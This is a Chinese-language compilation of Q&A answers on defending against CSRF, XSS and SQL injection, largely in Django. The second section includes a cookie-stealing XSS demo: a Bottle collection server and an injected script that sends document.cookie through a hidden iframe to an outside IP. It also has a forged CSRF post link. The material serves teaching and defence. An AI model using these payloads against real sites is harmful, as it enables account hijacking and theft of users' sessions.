1. 各位是怎麼解決django的防csrf
1）啟用中間件
2）post請求
3）驗證碼
4）表單中添加{% csrf_token%}標簽
Django 原生支持一個簡單易用的跨站請求偽造的防護。當提交一個啟用CSRF 防護的POST 表單時，你必須使用上面例子中的csrf_token 模板標簽。
第一步：django第一次響應來自某個客戶端的請求時,後端隨機產生一個token值，把這個token保存在SESSION狀態中;同時,後端把這個token放到cookie中交給前端頁面；
第二步：下次前端需要發起請求（比如發帖）的時候把這個token值加入到請求數據或者頭信息中,一起傳給後端；Cookies:{csrftoken:xxxxx}
第三步：後端校驗前端請求帶過來的token和SESSION里的token是否一致；
2. 前端安全方面有沒有了解xss和csrf如何攻防
在那個年代，大家一般用拼接字元串的方式來構造動態 SQL 語句創建應用，於是 SQL 注入成了很流行的攻擊方式。在這個年代， 參數化查詢 已經成了普遍用法，我們已經離 SQL 注入很遠了。但是，歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了，所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾，我一定會在模板輸出時候全部轉義。所以個人感覺，要避免 XSS 也是很容易的，重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ，於是找了些資料了解了一下，並與 XSS 放在一起做個比較。
XSS：腳本中的不速之客
XSS 全稱「跨站腳本」，是注入攻擊的一種。其特點是不對伺服器端造成任何傷害，而是通過一些正常的站內交互途徑，例如發布評論，提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本，作為內容發布到了頁面上，其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中，可能只是簡單的惡作劇——一個關不掉的窗口：
1
2
3
while (true) {
alert("你關不掉我~");
}
也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程，先建立一個用來收集信息的伺服器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然後在某一個頁面的評論中注入這段代碼：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求，是他們所看不到的。而這個請求，會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制，只能訪問當前域名下的 URL，所謂不能「跨域」問題。這種做法的初衷也是防範 XSS，多多少少都起了一些作用，但不是總是有用，正如上面的注入代碼，用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下，我還能用 iframe 發起 POST 請求。當然，現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截，例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功，何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將，我們也不應該把事關安全性的責任推脫給瀏覽器，所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的，這點對於 Web 開發者應該是常識。
正如上文所說，如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本，那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點，Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們，我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數，Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎，那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是，在一些場合我們要允許用戶輸入 HTML，又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙，但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的，任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況，我個人更傾向於使用簡單的方法處理，簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構，但我們並不將這些數據直接存入資料庫，而是使用 HTML 解析庫遍歷節點，獲取其中數據（之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性）。然後根據用戶原有的標簽屬性，重新構建 HTML 元素樹。構建的過程中，所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別（前面說了 HTML 不同於 XML，要求有很強的容錯性），那麼它不會成為漏網之魚，因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹，我們可以拍胸脯保證——所有的標簽、屬性都來自白名單，一定不會遺漏。
現在看來，大多數 Web 開發者都了解 XSS 並知道如何防範，往往大型的 XSS 攻擊（包括前段時間新浪微博的 XSS 注入）都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中，開啟（或不要關閉）類似 Django Template、Jinja2 中「默認轉義」（Auto Escape）的功能。在不需要轉義的場合，我們可以用類似 的方式取消轉義。這種白名單式的做法，有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域，是富 AJAX 類應用（例如豆瓣網的阿爾法城）。這類應用的風險並不集中在 HTTP 的靜態響應內容，所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域，開發者不得不自己打開危險的大門。這種情況下，站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包（似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試），但我都沒試用過，故不予評價。不管怎麼說，我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF：冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別，後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條，但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」，而 XSS 的全稱是「跨站腳本」。看起來有點相似，它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶，但前面說了，它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義，是偽造請求，冒充用戶在站內的正常操作。我們知道，絕大多數網站是通過 cookie 等方式辨識用戶身份（包括使用伺服器端 Session 的網站，因為 Session ID 也是大多保存在 cookie 裡面的），再予以授權的。所以要偽造用戶的正常操作，最好的方法是通過 XSS 或鏈接欺騙等途徑，讓用戶在本機（即擁有身份 cookie 的瀏覽器端）發起用戶所不知道的請求。
嚴格意義上來說，CSRF 不能分類為注入攻擊，因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌，但對於設計不佳的網站，一條正常的鏈接都能造成 CSRF。
例如，一論壇網站的發貼是通過 GET 請求訪問，點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問：
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼，我只需要在論壇中發一帖，包含一鏈接：
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接，那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇，但是既然發貼的請求可以偽造，那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題，我們是否可以效仿上文應對 XSS 的做法呢？過濾用戶輸入， 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用，但阻擋不了 CSRF，因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去，為了偽裝可能還使用 bit.ly 壓縮一下網址，這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ，我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入，因為它並不屬於注入攻擊，而是請求偽造。被偽造的請求可以是任何來源，而非一定是站內。所以我們唯有一條路可行，就是過濾請求的 處理者。
比較頭痛的是，因為請求可以從任何一方發起，而發起請求的方式多種多樣，可以通過 iframe、ajax（這個不能跨域，得先 XSS）、Flash 內部發起請求（總是個大隱患）。由於幾乎沒有徹底杜絕 CSRF 的方式，我們一般的做法，是以各種方式提高攻擊的門檻。
首先可以提高的一個門檻，就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作，應該只接受 POST 請求，而 GET 請求應該只瀏覽而不改變伺服器端資源。當然，最理想的做法是使用 REST 風格 的 API 設計，GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法，我們可以使用 ajax 提交請求（例如通過 jquery-form 插件，我最喜歡的做法），也可以使用隱藏域指定請求方法，然後用 POST 模擬 PUT 和 DELETE （Ruby on Rails 的做法）。這么一來，不同的資源操作區分的非常清楚，我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了，但他們仍可以發布表單，或者在其他站點上使用我們肉眼不可見的表單，在後台用 js 操作，偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF，這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生，「請求令牌」和「同步令牌」原理是一樣的，只不過目的不同，後者是為了解決 POST 請求重復提交問題，前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單，首先伺服器端要以某種策略生成隨機字元串，作為令牌（token）， 保存在 Session 里。然後在發出請求的頁面，把該令牌以隱藏域一類的形式，與其他信息一並發出。在接收請求的頁面，把接收到的信息中的令牌與 Session 中的令牌比較，只有一致的時候才處理請求，否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單，但並非不可破解，使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意：
雖然請求令牌原理和驗證碼有相似之處，但不應該像驗證碼一樣，全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的，破解方式是解析來源頁面的文本，獲取令牌內容。如果全局使用一個 Session Key，那麼危險系數會上升。原則上來說，每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候，可以稍加封裝，編寫一個令牌工具包，將頁面的標識作為 Session 中保存令牌的鍵。
在 ajax 技術應用較多的場合，因為很有請求是 JavaScript 發起的，使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何，請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門，卻又把鑰匙放在門口，讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的，所以非常重要的場合，應該考慮使用驗證碼（令牌的一種升級，目前來看破解難度極大），或者要求用戶再次輸入密碼（亞馬遜、淘寶的做法）。但這兩種方式用戶體驗都不好，所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼，伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題，驗證碼用完並未銷毀，故只要獲取一次驗證碼圖片，其中的驗證碼可以在多次請求中使用（只要不再次刷新驗證碼圖片），一直用到 Session 超時。這也是為何選課系統加了驗證碼，外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF，其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面：referer 是在 HTTP Request Head 裡面的，也就是由請求的發送者決定的。如果我喜歡，可以給 referer 任何值。當然這個做法並不是毫無作用，起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接：這個是最無效的做法，因為首先攻擊者不一定要從站內發起請求（上面提到過了），而且就算從站內發起請求，途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇，還不需要用戶去點擊，只要用戶的瀏覽器會自動載入圖片，就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶：這個方法看上去能幹擾站外通過 iframe 發起的 CSRF，但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞，或者乾脆脫離 iframe，使用 Flash 來達到目的。
總體來說，目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章，一般都會含有「無恥」二字來形容（另一位有該名號的貌似是 DDOS 攻擊）。作為開發者，我們能做的就是盡量提高破解難度。當破解難度達到一定程度，網站就逼近於絕對安全的位置了（雖然不能到達）。上述請求令牌方法，就我 認為是最有可擴展性的，因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說，偽造的請求和正常的請求本質上是一致的。而請求令牌的方法，則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作，例如讓頁面中 token 的 key 動態化，進一步提高攻擊者的門檻。本文只是我個人認識的一個總結，便不討論過深了。
3. 什麼是CSRF攻擊，如何預防
CSRF攻擊，全稱為「Cross-site request forgery」，中文名為跨站請求偽造，也被稱為「One Click
Attack」或者「Session Riding」，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利用。
XSS主要是利用站點內的信任用戶，而CSRF則通過偽裝來自受信任用戶的請求，來利用受信任的網站。與XSS相比，CSRF更具危險性。
CSRF攻擊的危害：
主要的危害來自於攻擊者盜用用戶身份，發送惡意請求。比如：模擬用戶發送郵件，發消息，以及支付、轉賬等。
如何防禦CSRF攻擊：
1、重要數據交互採用POST進行接收，當然POST也不是萬能的，偽造一個form表單即可破解。
2、使用驗證碼，只要是涉及到數據交互就先進行驗證碼驗證，這個方法可以完全解決CSRF。
3、出於用戶體驗考慮，網站不能給所有的操作都加上驗證碼，因此驗證碼只能作為一種輔助手段，不能作為主要解決方案。
4、驗證HTTP Referer欄位，該欄位記錄了此次HTTP請求的來源地址，最常見的應用是圖片防盜鏈。
5、為每個表單添加令牌token並驗證。
4. 如何避免CSRF攻擊
CSRF是一種讓人難以防範的漏洞，據歪歪了解，目前沒有很好的監測CSRF的方法。歪歪想到的一些比較可行的防範方法：
不使用網銀。所謂的無招勝有招，我既然不用網銀，黑客也就自然巧媳婦難為無米之炊了。（just a joke:)）
定期修改密碼。定期修改密碼永遠是安全學中最提倡的一個方法。
訪問敏感網站（比如信用卡、網銀等）後，主動清理歷史記錄、cookie記錄、表單記錄、密碼記錄，並重啟瀏覽器才訪問其他網站。
保持瀏覽器更新補丁，尤其是安全補丁。同時也要留意操作系統、殺毒、防火牆等軟體的更新。
不要上來歷不明的網站，推薦使用ms ie7的站點認證功能或者google toolbar之類辨識非法的網站。
使用某些帶有「隱私瀏覽」功能的瀏覽器，比如Safari。「隱私瀏覽」功能可以讓用戶在上網沖浪時不會留下任何痕跡, 瀏覽器不會存儲cookie和其它任何資料。從而CSRF也拿不到有用的信息。
ie8把它叫做「InPrivate瀏覽」。Chrome稱作「Incognito模式」。
如果瀏覽器提示「鏈接和證書域名不匹配」的警告信息時，請不要繼續瀏覽，立即關閉瀏覽器或者返回上一頁（如果您是網頁開發者或者黑客，當我沒有說）。
管理好瀏覽器的cookie。比如在IE6.0中，打開「工具->Intern
5. 解釋什麼是xss，csrf，sql注入以及如何防範
許可權控制
以及SQL注入、CSRF跨站腳本攻擊、XSS漏洞分別在URL參數、表單中的攻擊，Session超時等，這主要是web系統的安全測試
6. 怎麼解決django的防csrf
django post出現403的解決辦法 據說，從django1.x開始，加入了CSRF保護。
CSRF（Cross-site request forgery跨站請求偽造，也被稱成為「one click attack」或者session riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利用。盡管聽起來像跨站腳本（XSS），但它與XSS非常不同，並且攻擊方式幾乎相左。XSS利用站點內的信任用戶，而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對其進行防範的資源也相當稀少）和難以防範，所以被認為比XSS更具危險性。-------來自網路
報錯：Forbidden (403)
CSRF verification failed. Request aborted.Help
Reason given for failure:CSRF token missing or incorrect.
In general, this can occur when there is a genuine Cross Site Request Forgery, or when Django's CSRF mechanism has not been used correctly. For POST forms, you need to ensure:
Your browser is accepting cookies.
The view function uses RequestContext for the template, instead of Context.
In the template, there is a {% csrf_token %} template tag inside each POST form that targets an internal URL.
If you are not using CsrfViewMiddleware, then you must use csrf_protect on any views that use the csrf_token template tag, as well as those that accept the POST data.
You're seeing the help section of this page because you have DEBUG = True in your Django settings file. Change that to False, and only the initial error message will be displayed.
You can customize this page using the CSRF_FAILURE_VIEW setting.
在網上找解決辦法，說是提交參數中要有csrf_token，才能成功。但網上都是1.3或者1.4版本的解決辦法，在1.5版本中測試已經不能用了。
在1.5.1版本，我測試可行的解決辦法有三種：
一：
關閉csrf保護功能。為視圖函數添加@csrf_exempt修飾符。
from django.views.decorators.csrf import csrf_exempt@csrf_exemptdef view(request): #your code..... 當然這樣不安全。
二： 在模版文件中，每個form提交域中都加上{% csrf_token %}標簽，並使用render函數返回視圖，或者強行使用RequestContext 代替Context。例： from django.shortcuts import renderdef contact(request): form = ContactForm()#這里我使用了一個django的表格 return render(request,'contact.html', {'form': form})
或者：
from django.shortcuts import render_to_responsedef contact(request): form = ContactForm()#這里我使用了一個django的表格 return render_to_response('contact.html', {'form': form}, context_instance=RequestContext(request) )
contact.html的內容：
<html><head><style type="text/css"> ul.errorlist { margin: 0; padding: 0; } .errorlist li { background-color: red; color: white; display: block; font-size: 10px; margin: 0 0 3px; padding: 4px 5px; }</style> <title>send</title></head><body> <h1>Contact us</h1> <form action="" method="post"> {% csrf_token %} <div class="field"> {{ form.subject.errors }} <label for="id_subject">工作:</label> {{ form.subject }} </div> <div class="field"> {{ form.email.errors }} <label for="id_email">你的郵箱地址:</label> {{ form.email }} </div> <div class="field"> {{ form.message.errors }} <label for="id_message">消息:</label> {{ form.message }} </div> <input type="submit" value="Submit"> </form></body></html>
三：
方法二顯然只能限制在django模版中使用，那如果我們使用javascript或者AJAX的時候呢？怎麼添加csrf_token呢？
我們可以使用javascript來提取cookies中的csrf_token。
function getCookie(name) { var cookieValue = null; if (document.cookie && document.cookie != '') { var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { var cookie = jQuery.trim(cookies[i]); if (cookie.substring(0, name.length + 1) == (name + '=')) { cookieValue = decodeURIComponent(cookie.substring(name.length + 1)); break; } } } return cookieValue; }
或者這個好理解的：
function getCookie(sName){ var aCookie=document.cookie.split("; "); for(var i=0;i<aCookie.length;i++){ var aCrumb=aCookie[i].split("="); if(sName==aCrumb[0])return (aCrumb[1]); } return null;}
AJAX中這樣用： $.post(url, {"csrfmiddlewaretoken":getCookie('csrftoken')}, function (data) {alert(data);});
但是有一個問題，當有一個新用戶訪問這個頁面的時候，cookie里並沒有csrftoken這個值。只有進行第二種方法，才能在cookie里生成csrftoken值。解決此問題的方法隨後更新。
完全可以滿足簡單的建站需要。
7. XSS與CSRF有什麼區別嗎
XSS是獲取信息，不需要提前知道其他用戶頁面的代碼和數據包。CSRF是代替用戶完成指定的動作，需要知道其他用戶頁面的代碼和數據包。要完成一次CSRF攻擊，受害者必須依次完成兩個步驟：
登錄受信任網站A，並在本地生成Cookie。
在不登出A的情況下，訪問危險網站B。
CSRF的防禦
服務端的CSRF方式方法很多樣，但總的思想都是一致的，就是在客戶端頁面增加偽隨機數。通過驗證碼的方法。
by三人行慕課
8. 什麼是CSRF攻擊
一.CSRF是什麼？
CSRF（Cross-site request forgery），中文名稱：跨站請求偽造，也被稱為：one click attack/session riding，縮寫為：CSRF/XSRF。
二.CSRF可以做什麼？
這可以這么理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義發送惡意請求。CSRF能夠做的事情包括：以你名義發送郵件，發消息，盜取你的賬號，甚至於購買商品，虛擬貨幣轉賬......造成的問題包括：個人隱私泄露以及財產安全。
三.CSRF漏洞現狀
CSRF這種攻擊方式在2000年已經被國外的安全人員提出，但在國內，直到06年才開始被關注，08年，國內外的多個大型社區和交互網站分別爆出CSRF漏洞，如：NYTimes.com（紐約時報）、Metafilter（一個大型的BLOG網站），YouTube和網路HI......而現在，互聯網上的許多站點仍對此毫無防備，以至於安全業界稱CSRF為「沉睡的巨人」。
9. 哪些方法可以有效的防止csrf攻擊
CSRF，全拼為Cross-site request forgery，也被稱為one-click attack或者session riding，中文名稱叫跨站請求偽造。一般來說，攻擊者通過偽造用戶的瀏覽器的請求，向訪問一個用戶自己曾經認證訪問過的網站發送出去，使目標網站接收並誤認為是用戶的真實操作而去執行命令。常用於盜用賬號、轉賬、發送虛假消息等。
攻擊者利用網站對請求的驗證漏洞而實現這樣的攻擊行為，網站能夠確認請求來源於用戶的瀏覽器，卻不能驗證請求是否源於用戶的真實意願下的操作行為。
CSRF攻擊防範手段有哪些?
第一、驗證HTTP Referer欄位
HTTP頭中的Referer欄位記錄了該HTTP請求的來源地址。在通常情況下，訪問一個安全受限頁面的請求來自於同一個網站，而如果黑客要對其實施CSRF攻擊，他一般只能在他自己的網站構造請求。因此，可以通過驗證Referer值來防禦CSRF攻擊。
第二、使用驗證碼
關鍵操作頁面加上驗證碼，後台收到請求後通過判斷驗證碼可以防禦CSRF。但這種方法對用戶不太友好。
第三、在請求地址中添加token並驗證
CSRF攻擊之所以成功，是因為黑客可以完全偽造用戶的請求，該請求中所有的用戶驗證信息都是存在於cookie中，因此黑客可以在不知道這些驗證信息的情況下直接利用用戶自己的cookie來通過安全驗證。要抵禦CSRF，關鍵在於在請求中放入黑客所不能偽造的信息，並且該信息不存在於cookie中。可以在HTTP請求中以參數的形式加入一個隨機產生的token，並在伺服器端建立一個攔截器來驗證這個token，如果請求中沒有token或者token內容不正確，則認為可能是CSRF攻擊而拒絕該請求。這種方法要比檢查Referer要安全，token可以在用戶登陸後產生並放於session中，然後在每次請求時把token從session中拿出，與請求中的token進行比對，但這種方法的難點在於如何把token以參數的形式加入請求。
對於get請求，token將附在請求地址之後，這樣URL就變成：http://url?csrftoken=tokenvalue。
對於post請求，要在form的最後加上<input type="hidden" name="csrftoken" value="tokenvalue"/>，這樣就把token以參數的形式加入請求了。
第四、在HTTP頭中自定義屬性並驗證
這種方法也是使用token並進行驗證，和上一種方法不同的是，這里並不是把token以參數的形式置於HTTP請求中，而是把它放到HTTP頭中自定義的屬性里。通過XMLHttpRequest這個類，可以一次性給所有該類請求加上csrftoken這個HTTP頭屬性，並把token值放入其中。這樣解決了上種方法在請求中加入token的不便;同時，通過XMLHttpRequest請求的地址不會被記錄到瀏覽器的地址欄，也不用擔心token會透過Referer泄露到其他網站中去。
10. sql攻擊和csrf攻擊的區別
SQL注入攻擊是注入攻擊最常見的形式（此外還有
OS注入攻擊（Struts
2的高危漏洞就是通過OGNL實施OS注入攻擊導致的）），當伺服器使用請求參數構造SQL語句時，惡意的SQL被嵌入到SQL中交給資料庫執行。SQL
注入攻擊需要攻擊者對資料庫結構有所了解才能進行，攻擊者想要獲得表結構有多種方式：（1）如果使用開源系統搭建網站，資料庫結構也是公開的（目前有很多
現成的系統可以直接搭建論壇，電商網站，雖然方便快捷但是風險是必須要認真評估的）；（2）錯誤回顯（如果將伺服器的錯誤信息直接顯示在頁面上，攻擊者可
以通過非法參數引發頁面錯誤從而通過錯誤信息了解資料庫結構，Web應用應當設置友好的錯誤頁，一方面符合最小驚訝原則，一方面屏蔽掉可能給系統帶來危險
的錯誤回顯信息）；（3）盲注。防範SQL注入攻擊也可以採用消毒的方式，通過正則表達式對請求參數進行驗證，此外，參數綁定也是很好的手段，這樣惡意的
SQL會被當做SQL的參數而不是命令被執行，JDBC中的PreparedStatement就是支持參數綁定的語句對象，從性能和安全性上都明顯優於
Statement。
CSRF
攻擊（Cross Site Request
Forgery，跨站請求偽造）是攻擊者通過跨站請求，以合法的用戶身份進行非法操作（如轉賬或發帖等）。CSRF的原理是利用瀏覽器的Cookie或服
務器的Session，盜取用戶身份，其原理如下圖所示。防範CSRF的主要手段是識別請求者的身份，主要有以下幾種方式：（1）在表單中添加令牌
（token）；（2）驗證碼；（3）檢查請求頭中的Referer（前面提到防圖片盜鏈接也是用的這種方式）。令牌和驗證都具有一次消費性的特徵，因此
在原理上一致的，但是驗證碼是一種糟糕的用戶體驗，不是必要的情況下不要輕易使用驗證碼，目前很多網站的做法是如果在短時間內多次提交一個表單未獲得成功
後才要求提供驗證碼，這樣會獲得較好的用戶體驗。